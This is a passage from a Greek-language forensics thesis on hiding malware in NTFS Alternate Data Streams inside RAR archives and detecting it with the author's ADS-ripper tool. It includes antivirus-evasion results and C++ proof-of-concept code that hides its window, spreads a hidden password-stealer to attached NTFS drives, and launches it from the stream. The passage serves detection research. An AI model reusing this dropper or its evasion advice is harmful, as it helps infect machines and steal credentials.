μεταφέρει ένα βοηθητικό αρχείο τύπου (.exe) με όνομα container.exe το οποίο εκτελείτε αυτόματα 
αποσυμπιέζοντας ένα νόμιμο κενό αρχείο κειμένου (.txt) με όνομα con2.txt το οποίο κρύβει σε 
Alternate Data Stream ένα γνωστό κακόβουλο λογισμικό τύπου (.exe) με όνομα pspv.exe 
(Δημιουργία_Αϋ8_4).Αφού εκτελέσει το κακόβουλο λογισμικό, διαγράφει όλα τα ύποπτα αρχεία. 
Το αρχικό πρόγραμμα συνεχίζει να εκτελείτε ανά τακτά χρονικά διαστήματα με σκοπό να μολύνει 
πιθανούς νέους σκληρούς εξωτερικούς δίσκους που μπορεί να συνδεθούν στον υπολογιστή. Μια 
ιδιότητα ακόμη που θα μπορούσε να κάνει τον παρακάτω κώδικα πιο επικίνδυνο θα ήταν η 
αναζήτηση κατάλληλων δικτυακών κοινόχρηστων φάκελων που θα μπορούσαν να μολυνθούν.
Το αρχείο pspv.exe είναι γνωστό malware που αναγνωρίζεται μάλιστα από τα περισσότερα γνωστά 
antivirus του εμπορίου σαν απειλή .Παρατίθενται μάλιστα τα αποτελέσματα ελέγχου του αρχείου 
αυτού από την δικτυακή υπηρεσία http://www.virustotal.com
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Αποτελέσματα:
Πίνακας 4.1
Antivirus Version LastUpdate Result
AhnLab-V3 2007.10.6.0 2007.10.05 -
AntiVir 7.6.0.20 2007.10.05
Authentium 4.93.8 2007.10.05 W 3 2/P W Stealer. CAT
Avast 4.7.1051.0 2007.10.06
AVG 7.5.0.488 2007.10.06 Potentially harmful program HackTool.CBX
BitDefender 7.2 2007.10.06 Application.PSPassView.A
CAT-QuickHeal 9.00 2007.10.06 PSWTool.PassView.b (Not a Virus)
ClamAV r0.91.2 2007.10.06 PUA.PWTool.Passview-4
DrWeb 4.44.0.09170 2007.10.06 -
eSafe 7.0.15.0 2007.10.04 Win32.IcqSmiley.e
eTrust-Vet 31.2.5190 2007.10.06 -__
Ewido 4.0 2007.10.06 Not-A-Virus.PSWTool.Win32.PassView.b
File Advisor 1 2007.10.06 Low threat detected
Fortinet 3.11.0.0 2007.10.06 HackerT ool/PassV iew
F-Prot 4.3.2.48 2007.10.05 W32/PWStealer.CAT
F-Secure 6.70.13030.0 2007.10.06 -
Ikarus ^3.1.1.12 2007.10.06 no t-a-virus :PSWTool.Win32.PassView.b
Kaspersky 7.0.0.125 2007.10.06 not-a-virus :PS WT ool. Win3 2 .PassV iew.b
McAfee 5135 2007.10.05 potentially unwanted program PWCrack- PassView
Microsoft 1.2908 2007.10.06 -
NOD32v2 2575 2007.10.06 Win32/PassView. 163
Norman 5.80.02 2007.10.05 -
Panda 9.0.0.4 2007.10.06 Hacktool/Passview.T
Prevxl V2 2007.10.06 -
Rising 19.43.50.00 2007.10.06 Trojan.PSW.IcqSmiley.e
Sophos 4.22.0 2007.10.06 NirPassView
Sunbelt 2.2.907.0 2007.10.06 -
Symantec 10 2007.10.06 Hacktool. PassReminder
TheHacker 6.2.6.078 2007.10.06 T roj an/Pass V iew.b
YBA32 3.12.2.4 2007.10.05 Application.PSWTool.PassView
VirusBuster 4.3.26:9 2007.10.06 Trojan.PWS.IcqSmiley.A
Webwasher- 6.0.1 2007.10.05 Riskware.PSW.PassView.B
Additional information
File size: 52736 bytes
MD5: 35861 f4ea9a8ecb6c357bdb91 b7df804
SHA1: 836cb49c8d08d5e305ab8976f653b97fl edba245
Bit9 info:
http://fileadvisor.bit9.com/services/extinfo.aspx?md5=35861f4ea9a8ecb6c357bdb91b7df804
Σε σύγκριση τώρα με τα παραπάνω αποτελέσματα βλέπουμε ότι εάν με την ίδια διαδικασία 
εξετάσουμε το αρχείο container.exe που περιείχε συμπιεσμένο το pspv.exe σε ένα κρυφό 
Alternate Data Stream τα αποτελέσματα είναι τελείως διαφορετικά.
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Πίνακας 4.2
Antivirus Version LastUpdate Result
AhnLab-V3 2007.10.6.0 2007.10.05 -
AntiVir 7.6.0.20 2007.10.05 -
Authentium 4.93.8 2007.10.05 -
Avast 4.7.1051.0 2007.10.06 -
AVG 7.5.0.488 2007.10.06 -
BitDefender 7.2 2007.10.06 Application. PSPassView.A
CAT-QuickHeal 9.00 2007.10.06 -
ClamAV 0.91.2 2007.10.06 -
DrWeb 4.44.0.091702007.10.06 -
eSafe 7.0.15.0 2007.10.04 -
eTrust-Vet 31.2.5190 2007.10.06 -
Ewido 4.0 2007.10.06 -
FileAdvisor 1 2007.10.06 -
Fortinet 3.11.0.0 2007.10.06 -
F-Prot 4.3.2.48 2007.10.05 -
F-Secure 6.70.13030.02007.10.06
Ikarus T3.1.1.12 2007.10.06 -
Kaspersky 7.0.0.125 2007.10.06 not-a-virus:PSWTool.Win32.PassView.b
McAfee 5135 2007.10.05 potentially unwanted program PWCrack- PassView
Microsoft 1.2908 2007.10.06
NOD32v2 2575 2007.10.06 -
Norman 5.80.02 2007.10.05 -
Panda 9.0.0.4 2007.10.06 -
Prevxl V2 2007.10.06 -
Rising 19.43.50.00 2007.10.06 Trojan.PSW.IcqSmiley.c
Sophos 4.22.0 2007.10.06 -
Sunbelt 2.2.907.0 2007.10.06 -
Symantec 10 2007.10.06 -
TheHacker 6.2.6.078 2007.10.06 -
VBA32 3.12.2.4 2007.10.05 -
VirusBuster 4.3.26:9 2007.10.06 -
Webwasher-
Gateway 6.0.1 2007.10.05 -
Additional information
File size: 124075 bytes
MD5: 890d6cfe83075181884724b4b4730c8f
SHA1: de5a57558e606badd821 ba079132f82993d4d65f
packers: RAR
Από τους παραπάνω πίνακες συμπεραίνουμε ότι ο κίνδυνος μη εντοπισμού του αρχείου που περιέχει 
το ιομορφικό λογισμικό είναι πολύ μεγάλος, ακόμη και αν το ίδιο το ιομορφικό λογισμικό ήταν πολύ 
γνωστό στα antivirus από μόνο του .Μόνο 4 από τα 32 κατάφεραν να το εντοπίσουν. 
Κρυπτογράφηση του αρχείου φυσικά θα έκανε ακόμη πιο δύσκολη την διαδικασία εντοπισμού. Με 
σχεδόν εξασφαλισμένη λοιπόν την μη εύρεση του αποθηκευμένου κακόβουλου αρχείο στον σκληρό 
μας δίσκο και την χρήση του παρακάτω προγράμματος όλα τα υπολογιστικά συστήματα 
ανεξαρτήτως File System που αυτά υποστηρίζουν κινδυνεύουν από την επίθεση που θα 
περιγράφουμε.
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Κώδικας
#define _WIN32_WINNT 0x0500 
#include <windows.h>
#include <iostream>
#include <fstream>
#include <stdio.h>
#include <string.h> 
using namespace std;
int main()
{
HWND hWnd = GetConsoleWindow(); 
ShowWindow( hWnd, SW_HIDE); 
ofstream myfile; 
char VolName[100];
DWORD Serial;
DWORD MaxFileLength;
DWORD SysFlags;
DWORD ret2; 
char FSName[100]; 
char buf[26*4+l];
BOOL ret; 
int i,j,k=0;
cout« "*******************\n»· 
cout« "* Proof vl.O *\n";
COUt« "****************** ·
while(k<=0){
cout«"Looking for ntfs to install malwareVn";
ret2=GetLogicalDriveStrings(sizeof(buf),buf);
for(i=0;buf[i]! =0 ;i+=strlen(buf+i)+1) { 
ret=GetVolumeInformation(buf+i, 
VolName,100,// volume Name 
&Serial, // Serial Number 
&MaxFileLength, // Max File Name Length 
&SysFlags, // File System Flags 
FSName,100 // FS Type 
);
if (!strcmp("NTFS",FSName)){cout«"Found NTFS drive.\n";
myfile.open("proof.bat"); 
myfile«("xcopy container.exe"); 
myfile«buf+i; 
myfile«("\ncd /D "); 
myfile«buf+i;
myfile « "\n container.exe \n"; 
myfile « "start";
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myfile«buf+i;
myfile «"Wcon2.txt:pspv.exe \n"; 
myfile.close();
(void)system("proof.bat");
(void)system("del proof.bat");
Sleep(50); 
return 0;
}
}
Sleep(50000);
}
get char (); 
return 0;
VOID Sleep(
DWORD dwMilliseconds // sleep time in milliseconds
);
return 0;
}
Ο διαχειριστής λοιπόν του υπολογιστικού συστήματος της εταιρείας Ζ αντιλαμβάνεται την περίεργη 
δραστηριότητα σε έναν από τους υπολογιστές που έχουν μολυνθεί και καλεί ειδικούς στην έρευνα
του Digital Forensics.
Περίπτωση Live Forensics :
Ο ειδικός χρησιμοποιεί σε αυτή την περίπτωση λογισμικό που αποτελείται από πληθώρα εργαλείων 
μεταξύ των οποίων antivirus, antispyware και άλλων, ανάλογα με την αναζήτηση που θέλει να 
διενεργήσει στον υπό εξέταση υπολογιστή, έχοντας ως σκοπό την μη αλλοίωση των δεδομένων. 
Σκοπός του είναι ο εντοπισμός του ιομορφικού υλικού αλλά και της πορείας που ακολούθησε αυτό, 
από την στιγμή που εγκαταστάθηκε μέχρι την στιγμή που εξαπλώθηκε στο δίκτυο, καθώς και 
υπολογισμός των βλαβών που αυτό προκάλεσε στους υπολογιστικούς πόρους αλλά και στα κρίσιμα 
δεδομένα της εταιρείας Ζ.
Πιθανό Σενάριο
1 .Γίνεται έλεγχος με χρήση διαφορετικών εργαλείων (λογισμικού) antivirus, antispyware για 
εντοπισμό της απειλής εάν αυτή είναι γνωστή σε όλα τα αρχεία του υπολογιστή αλλά και σε 
Alternate Data Streams αρχείων αν βέβαια ο σκληρός δίσκος υποστηρίζει NTFS file system.
2. Σε περίπτωση που εντοπιστεί γνωστή απειλή γίνεται έλεγχος για το αν ακολουθεί το πρότυπο που 
περιγράφει την λειτουργία της.
3. Γίνεται έλεγχος σε περιφερειακές συσκευές, θέσεις δικτύου και σε άλλους πόρους στους οποίους 
είχε πρόσβαση ο μολυσμένος υπολογιστής.
4. Γνωστοποιούνται τα προβλήματα που θα μπορούσαν να έχουν δημιουργηθεί τόσο σε 
υπολογιστικούς πόρους όσο και σε κρίσιμα δεδομένα της εταιρείας.
Σε όλα τα παραπάνω βήματα γίνονται χρονικές καταγραφές που βοηθούν στην δημιουργία 
αξιόπιστου timeline τόσο για την εξέλιξη της έρευνας, όσο και για την δραστηριότητα του 
ιομορφικού λογισμικού και των συνεπειών που αυτό είχε στην ορθή λειτουργία της επιχείρησης.
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Σχολιασμός Live Forensics :
Βλέπουμε ότι για τον εντοπισμού του ιομορφικού λογισμικού χρησιμοποιούνται συγκεκριμένα 
εργαλεία από τα οποία και εξαρτάται σε μεγάλο βαθμό ο εντοπισμός του. Η διαδικασία αυτή έχει 
μεγάλα ποσοστά αποτυχίας λόγω του ότι:
-Δεν είναι αναμενόμενο να υπάρχουν Alternate Data Streams έστω και κρυμμένα μέσα σε άλλα 
αρχεία, σ’ έναν υπολογιστή που υποστηρίζει μόνο Fat file system.
-Το λογισμικό που χρησιμοποιείται δεν ελέγχει καθόλου τα Alternate Data Streams για ιομορφικό 
λογισμικό.
-Το λογισμικό που χρησιμοποιείται ελέγχει τα Alternate Data Streams για ιομορφικό υλικό αλλά 
δεν ελέγχει τα περιεχόμενα αρχείων συμπίεσης για κρυφά περιεχόμενα Alternate Data Streams.
Διακινδυνεύουμε λοιπόν ακολουθώντας την κλασσική διαδικασία Live Forensics να μην 
επιτύχουμε τον σκοπό μας και μάλιστα με μεγάλη πιθανότητα.
Προτείνουμε χρήση λογισμικού που αναπτύχθηκε στα πλαίσια αυτής της διπλωματικής και εντοπίζει 
με επιτυχία κρυμμένα Alternate Data Streams σε αρχεία (.rar) και άλλου είδους αρχεία, στα οποία 
κανένα λογισμικό εμπορικό ή open source μέχρι τώρα δεν αναζητούσε.(Το λογισμικό που 
αναπτύχθηκε περιγράφεται αναλυτικά σε επόμενο κεφάλαιο).Το σενάριο 3 λοιπόν θα μπορούσε να 
έχει επιλυθεί με μεγάλη αξιοπιστία και ταχύτητα από το βήμα 1 με την χρήση βέβαια και της 
Προτεινόμενης Μεθοδολογίας Διαχείρισης Υπόπτων Αρχείων Συμπίεσης που περιγράφεται 
επίσης παρακάτω.
Περίπτωση Post-Mortem Forensics :
Ο εξεταστής σε αυτή την περίπτωση, φροντίζει αφού απενεργοποιήσει τον υπό εξέταση υπολογιστή, 
να διασφαλίσει ότι το αντίγραφο του σκληρού δίσκου που πρόκειται να ανακτήσει είναι ακριβές και 
ότι δεν υπάρχει καμία αλλοίωση του περιεχομένου.
Πιθανό Σενάριο
1. Υπολογίζεται το hash value του σκληρού δίσκου πριν την αντιγραφή.
2. Δημιουργείται ακριβές αντίγραφο του σκληρού δίσκου είτε με ειδικό software, είτε με hardware 
(block by block copy).
3. Υπολογίζεται το hash value του αντιγράφου του σκληρού και γίνεται σύγκριση των δύο hash 
values (του βήματος 1,3, hash-copy-hash).
4. Με κατάλληλη χρήση λογισμικού ^.Encase) γίνεται πλήρης έλεγχος σε όλα τα blocks του 
σκληρού δίσκου για ύπαρξη γνωστών signatures ιομορφικού υλικού.
Σε αυτό το βήμα μπορεί να εντοπιστεί το ιομορφικό λογισμικό αν είναι γνωστό.
5. Με κατάλληλη διαδικασία γίνεται αναζήτηση ύπαρξης Alternate Data Stream εφόσον 
γνωρίζουμε ότι ο υπό εξέταση σκληρός υποστηρίζει NTFS file system.To βήμα αυτό δεν γίνεται 
στην δική μας περίπτωση.
6. Γίνεται έλεγχος όλων των αρχείων συμπιεσμένης μορφής (πχ. .rar , .zip).Η διαδικασία αυτή 
απαιτεί πολύ χρόνο και δεν υπάρχει κάποιος αυτοματοποιημένος τρόπος ώστε να εντοπιστεί η 
ύπαρξη Alternate Data Streams σε συμπιεσμένη μορφή. Ακόμη και αν εντοπιστεί το αρχείο (.rar) 
που περιείχε το Alternate Data Stream, εφόσον τα πιο διάσημα προγράμματα ανάλυσης σκληρών 
δίσκων χρησιμοποιούν για τον χειρισμό αρχείων το ίδιο το πρόγραμμα που χειρίζεται τα αρχεία και 
όχι κάποια ειδική έκδοση ,ένα αρχείο (.rar) θα ανοίξει με τον ίδιο τρόπο που θα άνοιγε και σε ένα 
κοινό προσωπικό υπολογιστή .Αυτό θα είχε σαν αποτέλεσμα την αποτυχία εντοπισμού λόγω της 
ιδιότητας των Alternate Data Streams να είναι κρυφά μέσα σ’ ένα αρχείο (,^).Πιθανή 
κρυπτογράφηση θα έκανε ακόμη πιο δύσκολο τον εντοπισμό του.
Σε όλα τα παραπάνω βήματα γίνονται χρονικές καταγραφές που βοηθούν στην δημιουργία
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αξιόπιστου timeline τόσο για την εξέλιξη της έρευνας ,όσο και για την δραστηριότητα του υπόπτου.
Σχολιασμός Post-Mortem Forensics :
Γίνεται εύκολα αντιληπτό ότι η έλλειψη αυτοματοποιημένης αναζήτησης Alternate Data Stream 
κρυμμένων σε αρχεία συμπίεσης κατά την διαδικασία του Post-Mortem Forensics μπορεί να 
οδηγήσει εύκολα σε λανθασμένα συμπεράσματα ή αποτυχημένες και χρονοβόρες αναζητήσεις. 
Προτείνεται συμπλήρωση του βήματος 5 με συνδυασμό αυτοματοποιημένης αναζήτησης 
συγκεκριμένων συμβολοσειρών που αποδεικνύουν την ύπαρξη Alternate Data Stream κρυμμένων 
σε αρχεία συμπίεσης ακολουθούμενη από σύγκριση χαρακτηριστικών γνωστών κακόβουλων 
λογισμικών .Έτσι με έξυπνο και γρήγορο τρόπο εξετάζονται μαζί με τα απλά Alternate Data 
Streams και τα Alternate Data Stream κρυμμένων σε αρχεία συμπίεσης. (Η μέθοδος που 
αναπτύχθηκε περιγράφεται αναλυτικά σε επόμενο κεφάλαιο)
Λέξεις Κλειδιά:
Digital Forensics, Live Forensics, Post Mortem Forensics, Alternate Data Streams, ADS, NTFS 
File System, Fat File System, Winrar, Rar, Antivirus
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ΚΕΦΑΛΑΙΟ 5
ΕΙΣΑΓΩΓΗ
Στο παρόν κεφάλαιο θα παρουσιαστεί το λογισμικό που αναπτύχθηκε στα πλαίσια της διπλωματικής 
αυτής εργασίας, με ταυτόχρονη παρουσίαση τόσο των μεθόδων που χρησιμοποιήθηκαν όσο και τον 
λόγων που οδήγησαν στην επιλογή τους .Επιπλέον θα παρουσιαστεί προτεινόμενη μεθοδολογία 
βάση της οποία πρέπει να πράττει ένας Forensic examiner προκειμένου να διαχειρισθεί με ορθό 
τρόπο αρχεία ύποπτα αρχεία τα οποία έχει εντοπίζει με την χρήση του λογισμικού που θα 
περιγράφει.
Τόσο το λογισμικό όσο και η μεθοδολογία που παρουσιάζονται στο παρόν κεφάλαιο σέβονται της 
αξίες και της προϋποθέσεις σωστής εκτέλεσης και διεξαγωγής της διαδικασίας Forensic που έχει 
περιγράφει σε προηγούμενα κεφάλαια και αποσκοπεί στην:
1. Ανάκτηση των δεδομένων χωρίς να υπάρξει αλλοίωση του αρχικού τους περιεχομένου
2. Πιστοποίηση ως προς το ότι τα δεδομένα που έχουν ανακτηθεί, είναι ίδια με τα αρχικά.
3. Κατηγοριοποίηση των ανακτημένων δεδομένων
4. Ανάλυση των δεδομένων χωρίς να υπάρχει αλλοίωση τους
5. Κατηγοριοποίηση των δεδομένων που αναλύθηκαν
6. Τεκμηρίωση θα πρέπει να υπάρχει σε όλα τα παραπάνω στάδια
ΕΝΟΤΗΤΑ 5.1 - ΛΟΓΙΣΜΙΚΌ ΕΞΕΥΡΕΣΗΣ ADS
Το λογισμικό που αναπτύχθηκε σε γλώσσα προγραμματισμού C++ στα πλαίσια της διπλωματικής 
αυτής έχει ως σκοπό την στοχευμένη εύρεση Alternate Data Streams σε όποια μορφή και αν αυτά 
βρίσκονται ή περιέχονται και κυρίως ανεξαρτήτως File 8γ8ίεπι.Οδηγηθήκαμε δε στην δημιουργία 
αυτού του λογισμικού εξαιτίας της φανερής έλλειψης άλλου λογισμικού εμπορικού ή μη, που να 
υποστηρίζει ταυτόχρονα τις παρακάτω ιδιότητες:
1. Εντοπισμό Alternate Data Stream αρχείων ή φακέλων σε NTFS file system
2. Εντοπισμό Alternate Data Stream αρχείων ή φακέλων σε άλλα file systems
3. Εντοπισμό Alternate Data Stream αρχείων ή φακέλων συμπιεσμένων σε (.rar) αρχεία
4. Εντοπισμό Alternate Data Stream αρχείων ή φακέλων συμπιεσμένων σε (.exe),(.txt) και 
άλλα αρχεία
5. Ορθή Διαχείριση και Διαγραφή Alternate Data Stream αρχείων ή φακέλων
Εκτός από το λογισμικό το οποία έχει άμεση χρήση σε διαδικασίες Live forensic, προτείνουμε και 
ανάλογη μεθοδολογία η οποία εάν ακολουθηθεί κατά την διαδικασία του Post Mortem forensic θα 
μπορούσε να επιφέρει γρήγορα και ουσιαστικά αποτελέσματα στην αναζήτηση κρυφών Alternate 
Data Stream ανεξαρτήτως file system.
To λογισμικό λοιπόν αυτό θα χρησιμοποιείτε κυρίως για διαδικασίες Live forensic από ειδικούς, 
όσο και από απλούς χρήστες οι οποίοι θα θέλουν μία ενημέρωση σχετικά με το αν το υπολογιστικό 
σύστημα τους φιλοξενεί αρχεία με κρυφά Alternate Data 8ίΓβ3ΐη8.Αποτελείται δε από υποεργαλεία 
των οποίων η εφαρμογή συνδυάζεται για την επίτευξη διαφορετικών στόχων και τα οποία μπορούν 
να χρησιμοποιηθούν αυτόνομα .Η ανάπτυξη τους έχει γίνει κατά βάση σε γλώσσα προγραμματισμού 
C++ ,αλλά κάποια από τα υποπρογράμματα έχουν υλοποιηθεί και σε visual basic όσο και σε batch 
script.Ta αποτελέσματα της εξέτασης που παράγονται από την εκτέλεση του λογισμικού 
αποθηκεύονται σε εξωτερικό αρχείο κειμένου (.txt).
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Τρόποι Εκτέλεσης
Το λογισμικό αυτό μπορεί να εκτελεστεί με δύο διαφορετικούς τρόπους ανάλογα με τον χρήστη και 
τον σκοπό που θέλει να επιτύχει η έρευνα του.
Ι.Για απλούς χρήστες, η εκτέλεση του λογισμικού γίνεται με τον κλασσικό τρόπο εκτέλεσης ενός 
προγράμματος σε λειτουργικό σύστημα Windows.Υποστηρίζονται όλες οι εκδόσεις MS Windows 
που είναι χρονικά νεότερες των Windows NT.Το λογισμικό λειτουργεί και για προηγούμενες 
εκδόσεις Windows αλλά δεν έχει πλήρεις δυνατότητες .Καλό είναι ο χρήστης να εκτελεί το 
λογισμικό αυτό έχοντας “Administrator privileges”.Σε αυτό το mode εκτέλεσης δεν μπορούν να 
εξεταστούν κάποια αρχεία που χρησιμοποιούνται από λειτουργικό σύστημα, άρα η εξέταση δεν 
καλύπτει το 100% των αρχείων που μπορεί να περιέχονται στον σκληρό μας δίσκο.
Παραδείγματα αρχείων ή φακέλων που δεν εξετάζονται:
WINDOWS\system32\config\system.LOG
WINDOWS\system32\config\software.LOG
WINDOWS\system32\config\default.LOG
WINDOWS\system32\config\SECURITY_______________________
WINDOWS\system32\config\SAM
WINDOWS\system32\config\SAM.LOG
WINDOWS\system32\config\SECURITY.LOG_________________
WINDOWS\system32\config\SOFTWARE_____________________
WINDO WS\system3 2\config\DEF AULT_______________________
WINDOWS\system32\config\SYSTEM_________________________
Πίνακας5.1
2.Για έμπειρους χρήστες ή εξεταστές forensic προτείνεται ή εκδοχή εκτέλεσης κατά την εκκίνηση 
του υπολογιστή. Η εκδοχή αυτή δίνει την δυνατότητα στο λογισμικό να ελέγξει όλα τα αρχεία και 
φακέλους σε ποσοστό 100% καθώς ακόμη αυτά δεν έχουν χρησιμοποιηθεί από το λειτουργικό 
σύστημα.Το αποτέλεσμα αυτής της εξέτασης είναι και το πιο ασφαλές από άποψη forensics καθώς 
τηρεί τον κανόνα 4: «Ανάλυση των δεδομένων χωρίς να υπάρχει αλλοίωση τους».
GUI και Επιλογές
Σαν γλώσσα χρήσης επιλέχθηκαν τα Αγγλικά για να καλυφθούν έτσι οι ανάγκες περισσότερων 
χρηστών.
To GUI του λογισμικού είναι απλό και εκτελείτε σε περιβάλλον command line αφού εκτελεστεί το 
αρχείο main.exe.O χρήστης έχει την δυνατότητα να επιλέγει μεταξύ των εξής 6 επιλογών που του 
δίνονται:
*ADS-ripper vl.O *
-Menu-
1. Hidden-ADS-in-Hard-Drive-Check
2. FIidden-ADS-per-Folder-Check
3. NTFS ADS check
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4. LOG file
5. Help
0. Exit_____________________________________________________________________________________
Πίνακας5.2
Αναλυτικά η κάθε μία από τις παρακάτω επιλογές εκτελεί και μία ξεχωριστή διαδικασία:
1. Hidden-ADS-in-Hard-Drive-Check
Κατά την διαδικασία αυτή γίνεται έλεγχος κατά μονάδες αποθήκευσης δεδομένων .Πιο 
συγκεκριμένα παρουσιάζονται στον χρήστη μία προς μία όλες οι μονάδες αποθήκευσης οι οποίες 
είναι διαθέσιμες .Τέτοιες μπορεί να είναι, σκληροί δίσκοι εσωτερικοί και εξωτερικοί, usb thumb 
drives, memory cards, Cd/Dvd Rom, δισκέτες και άλλες συσκευές που μπορεί να χρησιμοποιούνται 
για αποθήκευση και ανταλλαγή δεδομένων και είναι συνδεδεμένες με τον υπολογιστή μας την ώρα 
που εκτελείτε το εν λόγω λογισμικό ανεξαρτήτως πάντα file system.Ο χρήστης έπειτα έχει την 
δυνατότητα να επιλέξει την μονάδα που θέλει να ελέγξει στην οποία μπορεί να διεξάγει δύο είδη 
αναζητήσεων fast ή full search.Kd0a φορά που το λογισμικό προτείνει μια μονάδα/τόμο, αναφέρει 
τα εξής στοιχεία:
-Γράμμα τόμου 
-Όνομα τόμου 
-Σειριακό αριθμό 
-Μέγιστο όνομα αρχείου 
-Τύπο File System
-Άλλες πληροφορίες σχετικές με τις δυνατότητες του τόμου
Οι πληροφορίες αυτές εμφανίζονται στον χρήστη προκειμένου να είναι ενημερωμένος καθ’ όλη την 
διάρκεια της διαδικασίας για τα στοιχεία των μέσων αποθήκευσης που ελέγχει, τηρώντας έτσι πάντα 
τον κανόνα 3: «Κατηγοριοποίηση των ανακτημένων δεδομένων»
Παρακάτω βλέπουμε ένα ενδεικτικό παράδειγμα εκτέλεσης της επιλογής 1
στην οποία προτείνεται ο σκληρός δίσκος C:\ για έλεγχο που μάλιστα είναι και τύπου
FAT32 ενώ εμφανίζονται και οι δύο επιλογές για fast ή full search τις οποίες εδώ ο χρήστης αγνοεί
για να προχωρήσει σε επόμενο τόμο.
1. Hidden- ADS-in-Hard-Drive-Check 
Hard Drive System Check initializing... 
Hard Drives :
C:\ =Volume Name : ACER 
Serial Number: 156505820 
Max File Name: 255 
FS Type : FAT32 
Flags:
File Case Saved 
Unicode files can be used
The hard drive found is a FAT type drive.
Do a full drive check ?
choose(y/n):n
Do a fast drive check ?
choose(y/n):n
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Proceeding to the next Drive...
Πίνακας5.3
Full search
Ας δούμε τώρα μία χαρακτηριστική εκτέλεση της εντολής full search κατά την οποία θα 
εξετάσουμε τον παρακάτω τόμο αποθήκευσης που είναι ένα Sony Memory Stick 16ΜΒ με 
χαρακτηριστικά:
G:\ -Volume Name : 
Serial Number: 0 
Max File Name: 255 
FS Type : FAT 
Flags:
File Case Saved 
Unicode files can be used
The hard drive found is a FAT type drive.
Do a full drive check ? 
choose(y/n): y 
Πίνακας5.4
Μετά την επιλογή «Υ» και την σύντομη εκτέλεση του full search, το οποίο ελέγχει όλα 
ανεξαρτήτως τα αρχεία και τους φακέλους για κρυφά/συμπιεσμένα Alternate Data Streams, γίνεται 
εμφάνιση των αποτελεσμάτων με τρόπο που να τηρεί και τους έξι κανόνες που αναφέραμε στην 
αρχή αυτού του κεφαλαίου .Τα δεδομένα που εξετάζονται δεν αλλοιώνονται με κανένα τρόπο ούτε 
κατά την ανάκτηση αλλά ούτε και κατά την ανάλυσή τους ενώ γίνεται κατάλληλη κατηγοριοποίηση 
σε όλα τα στάδια αλλά και χρονική καταγραφή για δημιουργία timeline.Ta αποτελέσματα που 
λαμβάνουμε από την ανάλυση του προαναφερθέντος τόμου και τα οποία μπορούμε να 
αποθηκεύσουμε σε εξωτερικό αρχείο κειμένου (logs.txt) για μελλοντική χρήση, είναι τα παρακάτω :
INNER ADS LOCATOR -full Scanning 
Date:Kup 07/10/2007 
Time:23:57:51
*ALL Files****
G:\\DCIM\readme.rar
G:\\MSSONY\MOML0001\view.jpeg
Do you want to save results to logs file? 
choose(y/n):y
Done!______________________________________________________________________________________
Πίνακας5.5
Όπως βλέπουμε από το αποτέλεσμα, η ανάλυση έλαβε χώρα σε συγκεκριμένη χρονική στιγμή και 
ημερομηνία που αναγράφεται στην αναφορά που παρουσιάζεται στον χρήστη. Ακόμη αναφέρονται 
οι θέσεις (paths) των ύποπτων αρχείων που εντοπίστηκαν. Στην συγκεκριμένη περίπτωση 
εντοπίστηκαν δύο ύποπτα αρχεία από τις καταλήξεις των οποίων συμπεραίνουμε ότι πρόκειται για 
ένα αρχείο συμπίεσης (.rar) και ένα αρχείο εικόνας (.jpeg).Aπoθηκεύoυμε τα αποτελέσματα της 
αναζήτησης για μελλοντική χρήση .Η διαχείριση των ύποπτων αυτών αρχείων θα περιγράφει σε 
επόμενη ενότητα αυτού του κεφαλαίου.
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Fast search
Εάν επιλέγομε τώρα να κάνουμε fast search στον ίδιο ακριβώς τόμο που κάναμε προηγουμένως την 
αναζήτηση, η αναζήτηση θα υλοποιούνταν μόνο σε αρχεία τύπου (.rar), (.exe), (.txt), μειώνοντας 
έτσι τον χρόνο εξέτασης .Τα συγκεκριμένα είδη αρχείων επιλέχθηκαν για εξέταση καθώς 
θεωρούνται και τα πιο πιθανά για να περιέχουν κρυφά ή συμπιεσμένα Alternate Data Streams.Ta 
αποτελέσματα λοιπόν της αναζήτησης βλέπουμε ότι έχουν την ίδια μορφή και τηρούν τους ίδιους 
βασικούς κανόνες, αλλά τα περιεχόμενα των αποτελεσμάτων είναι διαφορετικά. Για την ακρίβεια 
εντοπίζεται με επιτυχία το ύποπτο αρχείο συμπίεσης (.rar), αλλά δεν εντοπίζεται το ύποπτο αρχείο 
εικόνας (.jpeg).
Η διαχείριση των ύποπτων αυτών αρχείων θα περιγράφει σε επόμενη ενότητα αυτού του κεφαλαίου. 
Με την μέθοδο αυτή λοιπόν μπορεί να κερδίζουμε σε ταχύτητα αναζήτησης αλλά χάνουμε σε 
απόδοση.
INNER ADS LOCATOR -fast Scanning 
Date:Aau 08/10/2007 
Time: 0:19:56
*RAR Files***
G:\\DCIM\readme.rar
*EXE Files***
*TXT Files***
Do you want to save results to logs file?
choose(y/n):y
Done!
Πίνακας5.6
2.Hidden-ADS-per-Folder-Check
Κατά την διαδικασία αυτή γίνεται έλεγχος σε συγκεκριμένο φάκελο, του οποίου την θέση (path) 
εισάγει ο χρήστης από το πληκτρολόγιο .Με αυτή την μέθοδο μπορούν να ελεγχθούν και 
απομακρυσμένοι κοινόχρηστοι φάκελοι. Η αναζήτηση δεν σταματά μόνο στα αρχεία που βρίσκονται 
μέσα στον ορισμένο φάκελο, αλλά συνεχίζεται και στα περιεχόμενα των υποφακέλων αναδρομικά, 
ελέγχοντας ουσιαστικά όλα τα περιεχόμενα αρχεία ανεξαρτήτως τύπου .Τα αποτελέσματα μπορούν 
να αποθηκευθούν ύστερα από επιλογή του χρήστη στο αρχείο κειμένου (logs.txt) για μελλοντική 
χρήση.
Παράδειγμα εκτέλεσης για την τοποθεσία φακέλου: «G:\DCIM»
2.Hidden-ADS-per-Folder-Check 
Give full folder path:G:\DCIM
INNER ADS LOCATOR -full 
Scanning
Date:Aau 08/10/2007 
Time: 0:57:17
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*ALL Files****
G:\DCIM\readme.rar
Do you want to save results to logs file?
choose(y/n):n
Πίνακας5.7
3.NTFS ADS check
Με την επιλογή της διαδικασίας αυτής ο χρήστης έχει την δυνατότητα να ελέγξει τόσο ένα αρχείο ή 
ένα φάκελο για Alternate Data Streams που αφορούν αυτό καθ’ αυτό δίνοντας την θέση (path) του 
από το πληκτρολόγιο, ή να ελέγξει το περιεχόμενο ενός φακέλου τοπικού ή απομακρυσμένου .Η 
διαδικασία αυτή μπορεί να έχει επιτυχία μόνο για NTFS File System ενώ αποτυγχάνει για άλλου 
είδους File systems.
Για να ελέγξουμε λοιπόν είναι συμβατό το File System μας με αυτή την διαδικασία μπορούμε να 
χρησιμοποιήσουμε τον παρακάτω κώδικα σε γλώσσα προγραμματισμού virtual basic script που μας 
